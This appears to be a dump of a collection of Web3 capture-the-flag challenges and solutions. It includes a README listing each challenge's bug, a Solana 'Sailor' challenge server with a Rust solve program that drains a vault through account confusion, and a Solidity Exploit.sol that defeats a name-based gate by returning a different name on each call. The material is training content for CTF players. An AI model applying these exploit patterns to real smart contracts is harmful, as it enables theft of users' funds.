├── README.md ├── angstromctf2023 └── sailor │ ├── Dockerfile │ ├── chall │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ │ ├── entrypoint.rs │ │ ├── lib.rs │ │ └── processor.rs │ ├── sailor_solve.so │ ├── sailors_revenge.so │ ├── server │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ │ └── main.rs │ ├── solve.py │ └── solve │ ├── Cargo.lock │ ├── Cargo.toml │ └── src │ ├── lib.rs │ └── processor.rs ├── cyberapocalypse2023 ├── blockchain_the_art_of_deception.zip └── blockchain_the_art_of_deception │ ├── contracts │ ├── Exploit.sol │ ├── FortifiedPerimeter.sol │ └── Setup.sol │ └── solve.sh ├── dicectf2023 ├── baby-solana │ ├── framework-solve │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── solve │ │ │ ├── .gitignore │ │ │ ├── .prettierignore │ │ │ ├── Anchor.toml │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ ├── migrations │ │ │ │ └── deploy.ts │ │ │ ├── package.json │ │ │ ├── programs │ │ │ │ └── solve │ │ │ │ │ ├── Cargo.toml │ │ │ │ │ ├── Xargo.toml │ │ │ │ │ └── src │ │ │ │ │ └── lib.rs │ │ │ ├── tests │ │ │ │ └── solve.ts │ │ │ ├── tsconfig.json │ │ │ └── yarn.lock │ │ └── src │ │ │ └── main.rs │ ├── framework │ │ ├── .dockerignore │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── Dockerfile │ │ ├── chall │ │ │ ├── .gitignore │ │ │ ├── .prettierignore │ │ │ ├── Anchor.toml │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ ├── migrations │ │ │ │ └── deploy.ts │ │ │ ├── package.json │ │ │ ├── programs │ │ │ │ └── chall │ │ │ │ │ ├── Cargo.toml │ │ │ │ │ ├── Xargo.toml │ │ │ │ │ └── src │ │ │ │ │ └── lib.rs │ │ │ ├── tests │ │ │ │ └── chall.ts │ │ │ ├── tsconfig.json │ │ │ └── yarn.lock │ │ └── src │ │ │ └── main.rs │ ├── run.sh │ └── setup.sh └── otterworld │ ├── framework-solve │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── solve │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── Anchor.toml │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ ├── programs │ │ │ └── solve │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── tests │ │ │ └── solve.ts │ │ ├── tsconfig.json │ │ └── yarn.lock │ └── src │ │ └── main.rs │ ├── framework │ ├── .dockerignore │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── Dockerfile │ ├── chall │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── Anchor.toml │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ ├── programs │ │ │ └── chall │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── tests │ │ │ └── chall.ts │ │ ├── tsconfig.json │ │ └── yarn.lock │ └── src │ │ └── main.rs │ ├── run.sh │ └── setup.sh ├── idekctf2022 ├── blockchain1 │ ├── framework-solve │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── build_solution.sh │ │ ├── solve │ │ │ ├── .gitignore │ │ │ ├── .prettierignore │ │ │ ├── Anchor.toml │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ ├── migrations │ │ │ │ └── deploy.ts │ │ │ ├── package.json │ │ │ ├── programs │ │ │ │ └── solve │ │ │ │ │ ├── Cargo.toml │ │ │ │ │ ├── Xargo.toml │ │ │ │ │ └── src │ │ │ │ │ └── lib.rs │ │ │ ├── tests │ │ │ │ └── solve.ts │ │ │ ├── tsconfig.json │ │ │ └── yarn.lock │ │ └── src │ │ │ └── main.rs │ └── framework │ │ ├── .dockerignore │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── Dockerfile │ │ ├── build_challenge.sh │ │ ├── chall │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── Anchor.toml │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ ├── programs │ │ │ └── chall │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── tests │ │ │ └── chall.ts │ │ ├── tsconfig.json │ │ └── yarn.lock │ │ └── src │ │ └── main.rs ├── blockchain2 │ ├── README.md │ ├── framework-solve │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── solve │ │ │ ├── .gitignore │ │ │ ├── .prettierignore │ │ │ ├── Anchor.toml │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ ├── migrations │ │ │ │ └── deploy.ts │ │ │ ├── package.json │ │ │ ├── programs │ │ │ │ └── solve │ │ │ │ │ ├── Cargo.toml │ │ │ │ │ ├── Xargo.toml │ │ │ │ │ └── src │ │ │ │ │ └── lib.rs │ │ │ ├── tests │ │ │ │ └── solve.ts │ │ │ ├── tsconfig.json │ │ │ └── yarn.lock │ │ └── src │ │ │ └── main.rs │ ├── framework │ │ ├── .dockerignore │ │ ├── .gitignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── Dockerfile │ │ ├── build_challenge.sh │ │ ├── chall │ │ │ ├── .gitignore │ │ │ ├── .prettierignore │ │ │ ├── Anchor.toml │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ ├── migrations │ │ │ │ └── deploy.ts │ │ │ ├── package.json │ │ │ ├── programs │ │ │ │ └── chall │ │ │ │ │ ├── Cargo.toml │ │ │ │ │ ├── Xargo.toml │ │ │ │ │ └── src │ │ │ │ │ └── lib.rs │ │ │ ├── tests │ │ │ │ └── chall.ts │ │ │ ├── tsconfig.json │ │ │ └── yarn.lock │ │ └── src │ │ │ └── main.rs │ ├── run.sh │ └── setup.sh └── blockchain3 │ ├── README.md │ ├── framework-solve │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── build_solution.sh │ ├── solve │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── Anchor.toml │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ ├── programs │ │ │ └── solve │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── tests │ │ │ └── solve.ts │ │ ├── tsconfig.json │ │ └── yarn.lock │ └── src │ │ └── main.rs │ ├── framework │ ├── .dockerignore │ ├── .gitignore │ ├── Cargo.lock │ ├── Cargo.toml │ ├── Dockerfile │ ├── build_challenge.sh │ ├── chall │ │ ├── .gitignore │ │ ├── .prettierignore │ │ ├── Anchor.toml │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── migrations │ │ │ └── deploy.ts │ │ ├── package.json │ │ ├── programs │ │ │ └── chall │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ ├── tests │ │ │ └── chall.ts │ │ ├── tsconfig.json │ │ └── yarn.lock │ └── src │ │ └── main.rs │ ├── run.sh │ └── setup.sh ├── lactf2023 └── breakup │ ├── contracts │ ├── Exploit.sol │ ├── Friend.sol │ └── Setup.sol │ └── solve.sh ├── n1ctf2022 ├── Simple_Staking │ ├── framework-solve │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── solve │ │ │ ├── Anchor.toml │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ └── programs │ │ │ │ └── solve │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ └── src │ │ │ └── main.rs │ ├── framework │ │ ├── .dockerignore │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ ├── Dockerfile │ │ ├── chall │ │ │ ├── Anchor.toml │ │ │ ├── Cargo.lock │ │ │ ├── Cargo.toml │ │ │ └── programs │ │ │ │ └── chall │ │ │ │ ├── Cargo.toml │ │ │ │ ├── Xargo.toml │ │ │ │ └── src │ │ │ │ └── lib.rs │ │ └── src │ │ │ └── main.rs │ └── run.sh └── Utility_Payment_Service │ ├── .dockerignore │ ├── Dockerfile │ ├── flag.txt │ ├── program │ ├── Cargo.lock │ ├── Cargo.toml │ ├── Makefile │ └── src │ │ ├── entrypoint.rs │ │ ├── lib.rs │ │ └── processor.rs │ ├── server │ ├── Cargo.lock │ ├── Cargo.toml │ ├── Makefile │ └── src │ │ └── main.rs │ └── solve │ ├── Cargo.lock │ ├── Cargo.toml │ ├── Makefile │ ├── solve.py │ └── src │ ├── lib.rs │ └── processor.rs └── sekaictf2023 └── thebidding ├── README.md ├── framework-solve ├── Cargo.lock ├── Cargo.toml ├── build_solution.sh ├── solve │ ├── Anchor.toml │ ├── Cargo.lock │ ├── Cargo.toml │ ├── migrations │ │ └── deploy.ts │ ├── package.json │ ├── programs │ │ └── solve │ │ │ ├── Cargo.toml │ │ │ ├── Xargo.toml │ │ │ └── src │ │ │ └── lib.rs │ ├── tests │ │ └── solve.ts │ ├── tsconfig.json │ └── yarn.lock └── src │ └── main.rs └── framework ├── .ci_ignore ├── .dockerignore ├── Cargo.lock ├── Cargo.toml ├── Dockerfile ├── build_challenge.sh ├── chall ├── Anchor.toml ├── Cargo.lock ├── Cargo.toml ├── migrations │ └── deploy.ts ├── package.json ├── programs │ └── chall │ │ ├── Cargo.toml │ │ ├── Xargo.toml │ │ └── src │ │ └── lib.rs ├── tests │ └── chall.ts ├── tsconfig.json └── yarn.lock └── src └── main.rs /README.md: -------------------------------------------------------------------------------- 1 | # Web3-CTF-Collection 2 | 3 | | **CTF** | **Challenge** | **Chain** | **Platform** | **Bug/Solution** | 4 | |---------------|-------------------------|-----------|--------------|-----------------------------------------------------| 5 | | N1CTF 2022 | Utility Payment Service | Solana | Vanilla Rust | Integer underflow | 6 | | N1CTF 2022 | Simple Staking | Solana | Anchor | PDA seed collision | 7 | | idek CTF 2022 | Blockchain 1 | Solana | Anchor | Missing signer authorization | 8 | | idek CTF 2022 | Blockchain 2 | Solana | Anchor | Integer underflow | 9 | | idek CTF 2022 | Blockchain 3 | Solana | Anchor | Missing check leading to Admin re-initialization | 10 | | Dice CTF 2023 | Baby Solana | Solana | Anchor | Erroneous Rust code leading to constraint bypassing & Unchecked negative signed integers | 11 | | Dice CTF 2023 | Otterworld | Solana | Anchor | Creating an account whose Pubkey starts with "osec" | 12 | | LACTF 2023 | breakup | Ethereum | Solidity | Missing checks & `public` attribute on the `burn` method allowing any user to burn any NFT | 13 | | Angstrom 2023 | Sailor | Solana | Vanilla Rust | Account confusion between `SailorUnion` and `Registration` | 14 | | Sekai CTF 2023 | The Bidding | Solana | Anchor | Creating a fake account whose PDA collides with another account to be initialized by other user, locking them out of the bidding process | -------------------------------------------------------------------------------- /angstromctf2023/sailor/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.59-slim-bullseye AS build 2 | 3 | ENV TINI_VERSION v0.19.0 4 | ADD https://github.com/krallin/tini/releases/download/${TINI_VERSION}/tini /tini 5 | RUN chmod +x /tini 6 | ENTRYPOINT ["/tini", "--"] 7 | 8 | RUN apt-get update -y && apt-get install -y pkg-config libudev-dev libssl-dev 9 | 10 | COPY ./server /app 11 | WORKDIR /app 12 | 13 | RUN cargo build --release && cp target/release/server . && cargo clean 14 | 15 | FROM debian:bullseye-slim 16 | 17 | COPY --from=build /app/server /app/server 18 | COPY ./flag.txt /app/flag.txt 19 | COPY ./sailors_revenge.so /app/sailors_revenge.so 20 | WORKDIR /app 21 | 22 | CMD ["/app/server"] 23 | -------------------------------------------------------------------------------- /angstromctf2023/sailor/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "sailors-revenge" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "1.14.11" 10 | borsh = "0.10.3" 11 | 12 | [features] 13 | no-entrypoint = [] 14 | no-idl = [] 15 | no-log-ix-name = [] 16 | default = [] 17 | 18 | [lib] 19 | crate-type = ["cdylib", "rlib"] 20 | -------------------------------------------------------------------------------- /angstromctf2023/sailor/chall/src/entrypoint.rs: -------------------------------------------------------------------------------- 1 | #![cfg(not(feature = "no-entrypoint"))] 2 | 3 | use crate::processor::{self, SailorInstruction}; 4 | use borsh::BorshDeserialize; 5 | use solana_program::{ 6 | account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, pubkey::Pubkey, 7 | }; 8 | 9 | entrypoint!(process_instruction); 10 | fn process_instruction( 11 | program_id: &Pubkey, 12 | accounts: &[AccountInfo], 13 | instruction_data: &[u8], 14 | ) -> ProgramResult { 15 | let ins = SailorInstruction::try_from_slice(instruction_data)?; 16 | match ins { 17 | SailorInstruction::CreateUnion(bal) => processor::create_union(program_id, accounts, bal), 18 | SailorInstruction::PayDues(amt) => processor::pay_dues(program_id, accounts, amt), 19 | SailorInstruction::StrikePay(amt) => processor::strike_pay(program_id, accounts, amt), 20 | SailorInstruction::RegisterMember(member) => processor::register_member(program_id, accounts, member) 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /angstromctf2023/sailor/chall/src/lib.rs: -------------------------------------------------------------------------------- 1 | mod entrypoint; 2 | pub mod processor; 3 | 4 | /* 5 | fn transfer<'a>( 6 | from: &AccountInfo<'a>, 7 | to: &AccountInfo<'a>, 8 | amt: u64, 9 | signers: &[&[&[u8]]], 10 | ) -> Result<()> { 11 | if from.lamports() >= amt { 12 | invoke_signed( 13 | &system_instruction::transfer(from.key, to.key, amt), 14 | &[from.clone(), to.clone()], 15 | signers, 16 | )?; 17 | } 18 | Ok(()) 19 | } 20 | 21 | #[program] 22 | mod sailor { 23 | use super::*; 24 | 25 | pub fn create_union(ctx: Context, bal: u64) -> Result<()> { 26 | msg!("creating union {}", bal); 27 | 28 | if ctx.accounts.authority.lamports() >= bal { 29 | transfer(&ctx.accounts.authority, &ctx.accounts.vault, bal, &[])?; 30 | // initial balance isn't available because I said so 31 | ctx.accounts.sailor_union.available_funds = 0; 32 | ctx.accounts.sailor_union.authority = ctx.accounts.authority.key(); 33 | Ok(()) 34 | } else { 35 | msg!( 36 | "insufficient funds, have {} but need {}", 37 | ctx.accounts.authority.lamports(), 38 | bal 39 | ); 40 | Err(ProgramError::InsufficientFunds.into()) 41 | } 42 | } 43 | 44 | pub fn pay_dues(ctx: Context, amt: u64) -> Result<()> { 45 | msg!("paying dues {}", amt); 46 | 47 | if ctx.accounts.member.lamports() >= amt { 48 | ctx.accounts.sailor_union.available_funds += amt; 49 | transfer(&ctx.accounts.authority, &ctx.accounts.vault, amt, &[])?; 50 | Ok(()) 51 | } else { 52 | msg!( 53 | "insufficient funds, have {} but need {}", 54 | ctx.accounts.member.lamports(), 55 | amt 56 | ); 57 | Err(ProgramError::InsufficientFunds.into()) 58 | } 59 | } 60 | 61 | pub fn strike_pay(ctx: Context, amt: u64) -> Result<()> { 62 | msg!("strike pay {}", amt); 63 | 64 | let (_, vault_bump) = Pubkey::find_program_address(&[b"vault"], &ID); 65 | 66 | if ctx.accounts.sailor_union.available_funds >= amt { 67 | ctx.accounts.sailor_union.available_funds -= amt; 68 | transfer( 69 | &ctx.accounts.vault, 70 | &ctx.accounts.member, 71 | amt, 72 | &[&[b"vault", &[vault_bump]]], 73 | )?; 74 | Ok(()) 75 | } else { 76 | msg!( 77 | "insufficient funds, have {} but need {}", 78 | ctx.accounts.sailor_union.available_funds, 79 | amt 80 | ); 81 | Err(ProgramError::InsufficientFunds.into()) 82 | } 83 | } 84 | } 85 | 86 | #[derive(Accounts)] 87 | pub struct CreateUnion<'info> { 88 | #[account( 89 | init, 90 | payer = authority, 91 | space = 8 + std::mem::size_of::(), 92 | seeds = [b"union", authority.key.as_ref()], 93 | bump 94 | )] 95 | sailor_union: Account<'info, SailorUnion>, 96 | #[account(mut)] 97 | authority: Signer<'info>, 98 | #[account(mut, seeds = [b"vault"], bump)] 99 | vault: SystemAccount<'info>, 100 | system_program: Program<'info, System>, 101 | } 102 | 103 | #[derive(Accounts)] 104 | pub struct PayDues<'info> { 105 | #[account(mut)] 106 | sailor_union: Account<'info, SailorUnion>, 107 | member: SystemAccount<'info>, 108 | #[account(mut)] 109 | authority: Signer<'info>, 110 | #[account(mut, seeds = [b"vault"], bump)] 111 | vault: SystemAccount<'info>, 112 | system_program: Program<'info, System>, 113 | } 114 | 115 | #[derive(Accounts)] 116 | pub struct StrikePay<'info> { 117 | #[account(mut)] 118 | sailor_union: Account<'info, SailorUnion>, 119 | #[account(mut)] 120 | member: SystemAccount<'info>, 121 | authority: Signer<'info>, 122 | #[account(mut, seeds = [b"vault"], bump)] 123 | vault: SystemAccount<'info>, 124 | system_program: Program<'info, System>, 125 | } 126 | 127 | #[account] 128 | pub struct SailorUnion { 129 | available_funds: u64, 130 | authority: Pubkey, 131 | } 132 | */ -------------------------------------------------------------------------------- /angstromctf2023/sailor/sailor_solve.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lkmidas/Web3-CTF-Collection/777814d28b8138b373f188b1949adeaa74e0df2d/angstromctf2023/sailor/sailor_solve.so -------------------------------------------------------------------------------- /angstromctf2023/sailor/sailors_revenge.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lkmidas/Web3-CTF-Collection/777814d28b8138b373f188b1949adeaa74e0df2d/angstromctf2023/sailor/sailors_revenge.so -------------------------------------------------------------------------------- /angstromctf2023/sailor/server/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | edition = "2021" 3 | name = "server" 4 | version = "0.1.0" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | borsh = "0.9.3" 10 | sol-ctf-framework = "0.1.0" 11 | poc-framework-osec = "0.1.1" 12 | solana-program = "*" 13 | solana-sdk = "*" 14 | rand = "0.7.0" 15 | threadpool = "1.8.1" 16 | -------------------------------------------------------------------------------- /angstromctf2023/sailor/server/src/main.rs: -------------------------------------------------------------------------------- 1 | use borsh::BorshSerialize; 2 | 3 | use poc_framework_osec::{ 4 | solana_sdk::{ 5 | instruction::{AccountMeta, Instruction}, 6 | pubkey::Pubkey, 7 | signature::{Keypair, Signer}, 8 | }, 9 | Environment, 10 | }; 11 | 12 | use sol_ctf_framework::ChallengeBuilder; 13 | 14 | use solana_program::system_program; 15 | 16 | use std::{ 17 | error::Error, 18 | fs, 19 | io::Write, 20 | net::{TcpListener, TcpStream}, 21 | }; 22 | 23 | use rand::prelude::*; 24 | 25 | use threadpool::ThreadPool; 26 | 27 | #[derive(Debug, Clone, BorshSerialize, PartialEq, Eq, PartialOrd, Ord)] 28 | pub enum SailorInstruction { 29 | CreateUnion(u64), 30 | PayDues(u64), 31 | StrikePay(u64), 32 | RegisterMember([u8; 32]), 33 | } 34 | 35 | fn main() -> Result<(), Box> { 36 | let listener = TcpListener::bind("0.0.0.0:5000")?; 37 | let pool = ThreadPool::new(4); 38 | for stream in listener.incoming() { 39 | let mut stream = stream.unwrap(); 40 | 41 | pool.execute(move || { 42 | if let Err(e) = handle_connection(&mut stream) { 43 | println!("got error: {:?}", e); 44 | writeln!(stream, "Got error, exiting...").ok(); 45 | } 46 | stream.shutdown(std::net::Shutdown::Both).ok(); 47 | }); 48 | } 49 | Ok(()) 50 | } 51 | 52 | fn handle_connection(socket: &mut TcpStream) -> Result<(), Box> { 53 | let mut builder = ChallengeBuilder::try_from(socket.try_clone()?)?; 54 | 55 | let mut rng = StdRng::from_seed([42; 32]); 56 | 57 | // put program at a fixed pubkey to make anchor happy 58 | let prog = Keypair::generate(&mut rng); 59 | 60 | // load programs 61 | let solve_pubkey = builder.input_program()?; 62 | builder 63 | .builder 64 | .add_program(prog.pubkey(), "sailors_revenge.so"); 65 | 66 | // make user 67 | let user = Keypair::new(); 68 | let rich_boi = Keypair::new(); 69 | let (vault, _) = Pubkey::find_program_address(&[b"vault"], &prog.pubkey()); 70 | let (sailor_union, _) = 71 | Pubkey::find_program_address(&[b"union", rich_boi.pubkey().as_ref()], &prog.pubkey()); 72 | let (registration, _) = Pubkey::find_program_address( 73 | &[ 74 | b"registration", 75 | rich_boi.pubkey().as_ref(), 76 | user.pubkey().as_ref(), 77 | ], 78 | &prog.pubkey(), 79 | ); 80 | 81 | writeln!(socket, "program: {}", prog.pubkey())?; 82 | writeln!(socket, "user: {}", user.pubkey())?; 83 | writeln!(socket, "vault: {}", vault)?; 84 | writeln!(socket, "sailor union: {}", sailor_union)?; 85 | writeln!(socket, "registration: {}", registration)?; 86 | writeln!(socket, "rich boi: {}", rich_boi.pubkey())?; 87 | writeln!(socket, "system program: {}", system_program::id())?; 88 | 89 | // add accounts and lamports 90 | 91 | const TARGET_AMT: u64 = 100_000_000; 92 | const INIT_BAL: u64 = 1337; 93 | const TOTAL_BAL: u64 = 1_000_000_000; 94 | const VAULT_BAL: u64 = 500_000_000; 95 | 96 | builder 97 | .builder 98 | .add_account_with_lamports(vault, system_program::id(), INIT_BAL) 99 | .add_account_with_lamports(rich_boi.pubkey(), system_program::id(), TOTAL_BAL) 100 | .add_account_with_lamports(user.pubkey(), system_program::id(), INIT_BAL); 101 | 102 | let mut challenge = builder.build(); 103 | 104 | challenge.env.execute_as_transaction( 105 | &[Instruction::new_with_borsh( 106 | prog.pubkey(), 107 | &SailorInstruction::CreateUnion(VAULT_BAL), 108 | vec![ 109 | AccountMeta::new(sailor_union, false), 110 | AccountMeta::new(rich_boi.pubkey(), true), 111 | AccountMeta::new(vault, false), 112 | AccountMeta::new_readonly(system_program::id(), false), 113 | ], 114 | )], 115 | &[&rich_boi], 116 | ); 117 | 118 | challenge.env.execute_as_transaction( 119 | &[Instruction::new_with_borsh( 120 | prog.pubkey(), 121 | &SailorInstruction::RegisterMember(user.pubkey().to_bytes()), 122 | vec![ 123 | AccountMeta::new(registration, false), 124 | AccountMeta::new_readonly(sailor_union, false), 125 | AccountMeta::new(rich_boi.pubkey(), true), 126 | AccountMeta::new_readonly(system_program::id(), false), 127 | ], 128 | )], 129 | &[&rich_boi], 130 | ); 131 | 132 | // run solve 133 | challenge.input_instruction(solve_pubkey, &[&user])?; 134 | 135 | // check solve 136 | let balance = challenge 137 | .env 138 | .get_account(user.pubkey()) 139 | .ok_or("could not find user")? 140 | .lamports; 141 | writeln!(socket, "lamports: {:?}", balance)?; 142 | 143 | if balance > TARGET_AMT { 144 | let flag = fs::read_to_string("flag.txt")?; 145 | writeln!( 146 | socket, 147 | "You successfully exploited the working class and stole their union dues! Congratulations!\nFlag: {}", 148 | flag.trim() 149 | )?; 150 | } else { 151 | writeln!(socket, "That's not enough to get the flag!")?; 152 | } 153 | 154 | Ok(()) 155 | } 156 | -------------------------------------------------------------------------------- /angstromctf2023/sailor/solve.py: -------------------------------------------------------------------------------- 1 | # sample solve script to interface with the server 2 | from pwn import * 3 | 4 | # feel free to change this 5 | account_metas = [ 6 | ("program", "-r"), # readonly 7 | ("user", "sw"), # signer + writable 8 | ("vault", "-w"), # writable 9 | ("sailor union", "-w"), 10 | ("registration", "-w"), 11 | ("rich boi", "-r"), 12 | ("system program", "-r"), 13 | ] 14 | instruction_data = b"placeholder" 15 | 16 | p = remote("challs.actf.co", 31404) 17 | 18 | with open("sailor_solve.so", "rb") as f: 19 | solve = f.read() 20 | 21 | p.sendlineafter(b"program len: \n", str(len(solve)).encode()) 22 | p.send(solve) 23 | 24 | accounts = {} 25 | for l in p.recvuntil(b"num accounts: \n", drop=True).strip().split(b"\n"): 26 | [name, pubkey] = l.decode().split(": ") 27 | accounts[name] = pubkey 28 | 29 | print(accounts) 30 | 31 | p.sendline(str(len(account_metas)).encode()) 32 | for (name, perms) in account_metas: 33 | p.sendline(f"{perms} {accounts[name]}".encode()) 34 | p.sendlineafter(b"ix len: \n", str(len(instruction_data)).encode()) 35 | p.send(instruction_data) 36 | 37 | p.interactive() 38 | -------------------------------------------------------------------------------- /angstromctf2023/sailor/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "sailor-solve" 3 | version = "1.0.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | borsh = "0.9.3" 8 | borsh-derive = "0.9.3" 9 | solana-program = "1.8.14" 10 | sailors-revenge = { version = "*", path = "../chall", features = ["no-entrypoint"]} 11 | 12 | [lib] 13 | crate-type = ["cdylib", "lib"] 14 | -------------------------------------------------------------------------------- /angstromctf2023/sailor/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use solana_program::entrypoint; 2 | 3 | pub mod processor; 4 | use processor::process_instruction; 5 | entrypoint!(process_instruction); -------------------------------------------------------------------------------- /angstromctf2023/sailor/solve/src/processor.rs: -------------------------------------------------------------------------------- 1 | use borsh::{BorshSerialize, BorshDeserialize}; 2 | 3 | use solana_program::{ 4 | account_info::{next_account_info, AccountInfo}, 5 | entrypoint::ProgramResult, 6 | instruction::{AccountMeta, Instruction}, 7 | program::invoke, 8 | pubkey::Pubkey, 9 | system_program, 10 | }; 11 | 12 | #[derive(Debug, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)] 13 | pub enum SailorInstruction { 14 | CreateUnion {bal: u64}, 15 | PayDues {amt: u64}, 16 | StrikePay {amt: u64}, 17 | RegisterMember {member: [u8; 32]}, 18 | } 19 | 20 | pub fn process_instruction( 21 | _program: &Pubkey, 22 | accounts: &[AccountInfo], 23 | _data: &[u8], 24 | ) -> ProgramResult { 25 | let account_iter = &mut accounts.iter(); 26 | let sailor_program = next_account_info(account_iter)?; 27 | let user = next_account_info(account_iter)?; 28 | let vault = next_account_info(account_iter)?; 29 | let sailor_union = next_account_info(account_iter)?; 30 | let registration = next_account_info(account_iter)?; 31 | let rich_boi = next_account_info(account_iter)?; 32 | let sys_prog_account = next_account_info(account_iter)?; 33 | 34 | invoke( 35 | &Instruction { 36 | program_id: *sailor_program.key, 37 | accounts: vec![ 38 | AccountMeta::new(*registration.key, false), 39 | AccountMeta::new(*user.key, false), 40 | AccountMeta::new(*user.key, true), 41 | AccountMeta::new(*vault.key, false), 42 | AccountMeta::new_readonly(system_program::id(), false), 43 | ], 44 | data: SailorInstruction::StrikePay { amt: 100_000_000_u64 } 45 | .try_to_vec() 46 | .unwrap(), 47 | }, 48 | &[ 49 | registration.clone(), 50 | user.clone(), 51 | user.clone(), 52 | vault.clone(), 53 | sys_prog_account.clone(), 54 | ], 55 | )?; 56 | 57 | Ok(()) 58 | } 59 | -------------------------------------------------------------------------------- /cyberapocalypse2023/blockchain_the_art_of_deception.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lkmidas/Web3-CTF-Collection/777814d28b8138b373f188b1949adeaa74e0df2d/cyberapocalypse2023/blockchain_the_art_of_deception.zip -------------------------------------------------------------------------------- /cyberapocalypse2023/blockchain_the_art_of_deception/contracts/Exploit.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.18; 3 | 4 | import "./Setup.sol"; 5 | 6 | contract Exploit { 7 | address payable public targetAddr; 8 | Setup targetContract; 9 | bool first; 10 | 11 | constructor(address payable _addr) payable { 12 | targetAddr = payable(_addr); 13 | targetContract = Setup(targetAddr); 14 | first = true; 15 | 16 | pwn(); 17 | } 18 | 19 | function name() public returns (string memory) { 20 | if (first) { 21 | first = false; 22 | return "Orion"; 23 | } else { 24 | return "Pandora"; 25 | } 26 | } 27 | 28 | function pwn() public { 29 | targetContract.TARGET().enter(); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /cyberapocalypse2023/blockchain_the_art_of_deception/contracts/FortifiedPerimeter.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.18; 2 | 3 | 4 | interface Entrant { 5 | function name() external returns (string memory); 6 | } 7 | 8 | contract HighSecurityGate { 9 | 10 | string[] private authorized = ["Orion", "Nova", "Eclipse"]; 11 | string public lastEntrant; 12 | 13 | function enter() external { 14 | Entrant _entrant = Entrant(msg.sender); 15 | 16 | require(_isAuthorized(_entrant.name()), "Intruder detected"); 17 | lastEntrant = _entrant.name(); 18 | } 19 | 20 | function _isAuthorized(string memory _user) private view returns (bool){ 21 | for (uint i; i < authorized.length; i++){ 22 | if (strcmp(_user, authorized[i])){ 23 | return true; 24 | } 25 | } 26 | return false; 27 | } 28 | 29 | function strcmp(string memory _str1, string memory _str2) public pure returns (bool){ 30 | return keccak256(abi.encodePacked(_str1)) == keccak256(abi.encodePacked(_str2)); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /cyberapocalypse2023/blockchain_the_art_of_deception/contracts/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.18; 3 | 4 | import {HighSecurityGate} from "./FortifiedPerimeter.sol"; 5 | 6 | contract Setup { 7 | HighSecurityGate public immutable TARGET; 8 | 9 | constructor() { 10 | TARGET = new HighSecurityGate(); 11 | } 12 | 13 | function isSolved() public view returns (bool) { 14 | return TARGET.strcmp(TARGET.lastEntrant(), "Pandora"); 15 | } 16 | } 17 | 